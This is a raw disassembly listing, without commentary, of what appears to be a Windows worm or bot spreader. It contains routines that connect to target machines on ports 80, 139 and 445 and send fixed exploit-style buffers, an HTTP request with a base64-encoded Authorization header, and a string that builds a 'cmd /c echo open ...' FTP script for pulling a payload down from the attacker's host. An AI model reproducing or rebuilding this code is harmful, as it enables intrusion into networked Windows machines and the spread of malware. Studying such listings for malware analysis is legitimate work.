		push	edi
		push	eax
		call	sub_40CCC9
		lea	ecx, [ebp+var_18]
		call	sub_40CC4F
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40CD1A
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40CD1A
		lea	ecx, [ebp+var_40]
		call	sub_40CD2A
		lea	ecx, [ebp+var_18]
		call	sub_40CBAA
		lea	ecx, [ebp+var_50]
		call	sub_40CBAA
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40CD1A
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40CD1A
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40CD1A
		lea	ecx, [ebp+var_38]
		call	sub_40CD2A
		lea	ecx, [ebp+var_20]
		call	sub_40CBAA
		lea	ecx, [ebp+var_30]
		call	sub_40CBAA
		lea	ecx, [ebp+var_40]
		call	sub_40CBAA
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40CCC9
		lea	ecx, [ebp+var_28]
		call	sub_40CC4F
		push	2
		push	offset dword_432400
		lea	ecx, [ebp+var_28]
		call	sub_40CCC9
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40CD1A
		lea	ecx, [ebp+var_28]
		call	sub_40CD2A
		lea	ecx, [ebp+var_38]
		call	sub_40CBAA
		lea	ecx, [ebp+var_10]
		call	sub_40CB11
		lea	ecx, [ebp+var_8]
		call	sub_40CB11
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40CD1A
		lea	ecx, [ebp+var_10]
		call	sub_40CBC3
		lea	ecx, [ebp+var_28]
		call	sub_40CBAA
		push	offset dword_4323FC
		lea	ecx, [ebp+var_8]
		call	sub_40CCFD
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CD1A
		lea	ecx, [ebp+var_8]
		call	sub_40CBC3
		lea	ecx, [ebp+var_10]
		call	sub_40CBAA
		push	offset dword_4323F8
		lea	ecx, [ebp+var_10]
		call	sub_40CCFD
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40CD1A
		lea	ecx, [ebp+var_10]
		call	sub_40CBC3
		lea	ecx, [ebp+var_8]
		call	sub_40CBAA
		push	offset dword_4323EC
		lea	ecx, [ebp+var_8]
		call	sub_40CCFD
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CD1A
		lea	ecx, [ebp+var_8]
		call	sub_40CBC3
		lea	ecx, [ebp+var_10]
		call	sub_40CBAA
		push	(offset	loc_4323E7+1)
		lea	ecx, [ebp+var_48]
		call	sub_40CCFD
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40CD1A
		lea	ecx, [ebp+var_8]
		call	sub_40CBAA
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40D0E7
; ---------------------------------------------------------------------------


loc_40D0D9:				; CODE XREF: sub_40CD85+1Bj
					; sub_40CD85+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_40D0E7:				; CODE XREF: sub_40CD85+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40CD85	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D0EB	proc near		; CODE XREF: sub_40D1AF+A1p
					; sub_40D1AF+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		nop
		call	near ptr 71AB1890h
		cmp	eax, edi
		jnz	short loc_40D152
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426636
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_40D156


loc_40D152:				; CODE XREF: sub_40D0EB+54j
		xor	eax, eax
		jmp	short loc_40D166
; ---------------------------------------------------------------------------


loc_40D156:				; CODE XREF: sub_40D0EB+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4C931C


loc_40D166:				; CODE XREF: sub_40D0EB+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40D0EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D16A	proc near		; CODE XREF: sub_40D1AF+81p
					; sub_40D1AF+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4C9300
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4C9354
		cmp	eax, 4
		jz	short loc_40D194
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D194:				; CODE XREF: sub_40D16A+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4C9354
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40D16A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D1AF	proc near		; CODE XREF: sub_40D289+48p
					; ___:0040D707p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41BC9B
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40D1D8
		xor	al, al
		jmp	loc_40D284
; ---------------------------------------------------------------------------


loc_40D1D8:				; CODE XREF: sub_40D1AF+20j
		push	ebx
		push	0
		push	esi
		call	sub_41BD10
		push	2Fh
		push	offset dword_432124
		push	esi
		call	sub_41CAB0
		push	8
		lea	eax, [esi+31h]
		push	offset dword_432154
		push	eax
		mov	[esi+2Fh], di
		call	sub_41CAB0
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_41CAB0
		push	6
		add	ebx, edi
		push	offset dword_4CC01C
		push	ebx
		call	sub_41CAB0
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_43209C
		push	ebx
		call	sub_40D16A
		add	esp, 48h
		test	al, al
		jnz	short loc_40D240


loc_40D23C:				; CODE XREF: sub_40D1AF+B5j
		xor	bl, bl
		jmp	short loc_40D27B
; ---------------------------------------------------------------------------


loc_40D240:				; CODE XREF: sub_40D1AF+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40D0EB
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40D16A
		add	esp, 1Ch
		test	al, al
		jz	short loc_40D23C
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40D0EB
		add	esp, 10h
		mov	bl, 1


loc_40D27B:				; CODE XREF: sub_40D1AF+8Fj
		push	esi
		call	sub_41BA31
		pop	ecx
		mov	al, bl


loc_40D284:				; CODE XREF: sub_40D1AF+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D1AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D289	proc near		; CODE XREF: ___:0040D6EDp

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_432160
		push	[ebp+arg_0]
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 48h
		jnz	short loc_40D2C4
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40D0EB
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D2C4
		cmp	[ebp+var_20], 82h
		jz	short loc_40D2C8


loc_40D2C4:				; CODE XREF: sub_40D289+1Bj
					; sub_40D289+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D2C8:				; CODE XREF: sub_40D289+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D1AF
		add	esp, 0Ch
		leave
		retn
sub_40D289	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D2DB	proc near		; CODE XREF: sub_40D327+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_427688
		call	sub_41CF04
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_427680
		fstp	[esp+10h+var_10]
		call	sub_41CDE5
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41CF04
		inc	eax
		leave
		retn
sub_40D2DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D327	proc near		; CODE XREF: sub_40D4C9+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_426D63
		call	sub_41D3D0
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_40D968
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40D2DB
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_40D369
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40D8E3


loc_40D369:				; CODE XREF: sub_40D327+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40D486
		mov	ebx, [ebp+10h]


loc_40D378:				; CODE XREF: sub_40D327+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40D382
		push	3
		jmp	short loc_40D394
; ---------------------------------------------------------------------------


loc_40D382:				; CODE XREF: sub_40D327+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40D38C
		push	2
		jmp	short loc_40D394
; ---------------------------------------------------------------------------


loc_40D38C:				; CODE XREF: sub_40D327+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40D395
		push	1


loc_40D394:				; CODE XREF: sub_40D327+59j
					; sub_40D327+63j
		pop	ebx


loc_40D395:				; CODE XREF: sub_40D327+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_427698
		fstp	[esp+40h+var_40]
		call	sub_41CF2B
		pop	ecx
		pop	ecx
		call	sub_41CF04
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40D3D4
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_40D3D4:				; CODE XREF: sub_40D327+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40D442
		add	[ebp-18h], eax


loc_40D426:				; CODE XREF: sub_40D327+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_4321AC[eax]
		push	eax
		push	1
		call	sub_40D765
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40D426


loc_40D442:				; CODE XREF: sub_40D327+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40D460
		push	dword ptr [ebp+14h]
		call	sub_41B960
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40D7BE
		mov	[ebp-18h], edi


loc_40D460:				; CODE XREF: sub_40D327+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40D47A
		sub	esi, [ebp-1Ch]


loc_40D46B:				; CODE XREF: sub_40D327+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40D765
		dec	esi
		jnz	short loc_40D46B


loc_40D47A:				; CODE XREF: sub_40D327+13Fj
		cmp	[ebp+10h], edi
		ja	loc_40D378
		push	1
		pop	ebx


loc_40D486:				; CODE XREF: sub_40D327+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D968
		push	dword_427690
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_40D815
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_40D968
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D327	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D4C9	proc near		; CODE XREF: ___:0040D6D0p
		mov	eax, offset loc_426D80
		call	sub_41D3D0
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_43B4B8
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40D327
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_41BC9B
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40D513
		xor	bl, bl
		jmp	short loc_40D557
; ---------------------------------------------------------------------------


loc_40D513:				; CODE XREF: sub_40D4C9+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_4276A0
		cmp	ecx, ebx
		jnz	short loc_40D521
		mov	ecx, eax


loc_40D521:				; CODE XREF: sub_40D4C9+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40D529
		mov	eax, [ebp+18h]


loc_40D529:				; CODE XREF: sub_40D4C9+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41C100
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4C9354
		cmp	eax, esi
		jz	short loc_40D54E
		xor	bl, bl
		jmp	short loc_40D550
; ---------------------------------------------------------------------------


loc_40D54E:				; CODE XREF: sub_40D4C9+7Fj
		mov	bl, 1


loc_40D550:				; CODE XREF: sub_40D4C9+83j
		push	edi
		call	sub_41BA31
		pop	ecx


loc_40D557:				; CODE XREF: sub_40D4C9+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_40D968
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40D968
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D4C9	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 424h
		and	byte ptr [ebp-424h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-423h]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-424h]
		push	offset sub_432358
		push	eax
		call	sub_41CAB0
		add	esp, 0Ch
		mov	eax, offset byte_429108
		push	eax
		push	eax
		movzx	eax, word ptr dword_4C9040
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40A9FA
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-395h]
		push	400h
		push	eax
		call	sub_41C100
		add	eax, 90h
		push	eax
		lea	eax, [ebp-424h]
		push	eax
		push	164h
		lea	eax, [ebp-24h]
		push	offset sub_4321F0
		push	eax
		call	sub_40CD85
		mov	ecx, [eax]
		xor	esi, esi
		mov	[ebp-8], ecx
		add	esp, 30h
		mov	eax, [eax+4]
		cmp	eax, esi
		mov	[ebp-4], eax
		jnz	short loc_40D62C
		xor	eax, eax
		jmp	loc_40D758
; ---------------------------------------------------------------------------


loc_40D62C:				; CODE XREF: ___:0040D623j
		mov	[ebp-0Ch], esi


loc_40D62F:				; CODE XREF: ___:0040D72Fj
		test	esi, esi
		jnz	loc_40D735
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40D71D
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_4C9304
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4C9344
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4C92AC
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D712
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40D6DA
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D968
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_40D9A4
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D4C9
		add	esp, 1Ch
		jmp	short loc_40D70F
; ---------------------------------------------------------------------------


loc_40D6DA:				; CODE XREF: ___:0040D698j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40D6F4
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D289
		jmp	short loc_40D70C
; ---------------------------------------------------------------------------


loc_40D6F4:				; CODE XREF: ___:0040D6E4j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40D712
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D1AF


loc_40D70C:				; CODE XREF: ___:0040D6F2j
		add	esp, 0Ch


loc_40D70F:				; CODE XREF: ___:0040D6D8j
		movzx	esi, al


loc_40D712:				; CODE XREF: ___:0040D68Bj
					; ___:0040D6FEj
		push	ebx
		call	dword_4C939C
		test	esi, esi
		jnz	short loc_40D728


loc_40D71D:				; CODE XREF: ___:0040D648j
		push	3E8h
		nop
		call	near ptr 268051Bh


loc_40D728:				; CODE XREF: ___:0040D71Bj
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40D62F


loc_40D735:				; CODE XREF: ___:0040D631j
		lea	ecx, [ebp-8]
		call	sub_40CBAA
		test	esi, esi
		jz	short loc_40D756
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	dword_431810[eax]
		lea	eax, dword_431810[eax]


loc_40D756:				; CODE XREF: ___:0040D73Fj
		mov	eax, esi


loc_40D758:				; CODE XREF: ___:0040D627j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426D44


loc_40D75D:				; CODE XREF: sub_426D44+3j
					; ___:00426D5Dj ...
		push	1
		call	sub_40D968
		retn
; END OF FUNCTION CHUNK	FOR sub_426D44

; =============== S U B	R O U T	I N E =======================================



sub_40D765	proc near		; CODE XREF: sub_40D327+110p
					; sub_40D327+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_427690
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D77F
		call	sub_42657A


loc_40D77F:				; CODE XREF: sub_40D765+13j
		test	ebx, ebx
		jbe	short loc_40D7B6
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D8E3
		test	al, al
		jz	short loc_40D7B6
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_41BD10
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D7B6:				; CODE XREF: sub_40D765+1Cj
					; sub_40D765+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D765	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D7BE	proc near		; CODE XREF: sub_40D327+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_427690
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D7D8
		call	sub_42657A


loc_40D7D8:				; CODE XREF: sub_40D7BE+13j
		test	ebx, ebx
		jbe	short loc_40D80D
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D8E3
		test	al, al
		jz	short loc_40D80D
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_41CAB0
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40D80D:				; CODE XREF: sub_40D7BE+1Cj
					; sub_40D7BE+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D7BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D815	proc near		; CODE XREF: sub_40D327+17Cp
					; sub_426490+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40D82D
		call	sub_426453


loc_40D82D:				; CODE XREF: sub_40D815+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40D83F
		mov	esi, [ebp+arg_8]


loc_40D83F:				; CODE XREF: sub_40D815+25j
		cmp	edi, ebx
		jnz	short loc_40D861
		push	dword_427690
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_40D9D9
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40D9D9
		jmp	short loc_40D8DA
; ---------------------------------------------------------------------------


loc_40D861:				; CODE XREF: sub_40D815+2Cj
		test	esi, esi
		jbe	short loc_40D8A4
		cmp	esi, eax
		jnz	short loc_40D8A4
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D875
		mov	eax, offset dword_4276A0


loc_40D875:				; CODE XREF: sub_40D815+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40D8A4
		push	1
		mov	ecx, edi
		call	sub_40D968
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D890
		mov	eax, offset dword_4276A0


loc_40D890:				; CODE XREF: sub_40D815+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40D8DA
; ---------------------------------------------------------------------------


loc_40D8A4:				; CODE XREF: sub_40D815+4Ej
					; sub_40D815+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40D8E3
		test	al, al
		jz	short loc_40D8DA
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D8BE
		mov	eax, offset dword_4276A0


loc_40D8BE:				; CODE XREF: sub_40D815+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_41CAB0
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_40D8DA:				; CODE XREF: sub_40D815+4Aj
					; sub_40D815+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40D815	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D8E3	proc near		; CODE XREF: sub_40D327+3Dp
					; sub_40D765+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40D8F5
		call	sub_42657A


loc_40D8F5:				; CODE XREF: sub_40D8E3+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40D91E
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40D91E
		cmp	al, 0FFh
		jz	short loc_40D91E
		cmp	edi, edx
		jnz	short loc_40D959
		dec	al
		push	edx
		mov	[ecx-1], al


loc_40D913:				; CODE XREF: sub_40D8E3+47j
		mov	ecx, esi
		call	sub_40D968


loc_40D91A:				; CODE XREF: sub_40D8E3+4Bj
					; sub_40D8E3+52j
		xor	al, al
		jmp	short loc_40D963
; ---------------------------------------------------------------------------


loc_40D91E:				; CODE XREF: sub_40D8E3+19j
					; sub_40D8E3+20j ...
		cmp	edi, edx
		jnz	short loc_40D937
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D92C
		push	1
		jmp	short loc_40D913
; ---------------------------------------------------------------------------


loc_40D92C:				; CODE XREF: sub_40D8E3+43j
		cmp	ecx, edx
		jz	short loc_40D91A
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_40D91A
; ---------------------------------------------------------------------------


loc_40D937:				; CODE XREF: sub_40D8E3+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D954
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40D949
		cmp	eax, edi
		jnb	short loc_40D961


loc_40D949:				; CODE XREF: sub_40D8E3+60j
		push	1
		mov	ecx, esi
		call	sub_40D968
		jmp	short loc_40D959
; ---------------------------------------------------------------------------


loc_40D954:				; CODE XREF: sub_40D8E3+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_40D961


loc_40D959:				; CODE XREF: sub_40D8E3+28j
					; sub_40D8E3+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40DA40


loc_40D961:				; CODE XREF: sub_40D8E3+64j
					; sub_40D8E3+74j
		mov	al, 1


loc_40D963:				; CODE XREF: sub_40D8E3+39j
		pop	edi
		pop	esi
		retn	8
sub_40D8E3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D968	proc near		; CODE XREF: sub_40D327+1Fp
					; sub_40D327+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40D994
		mov	eax, [esi+4]
		test	eax, eax
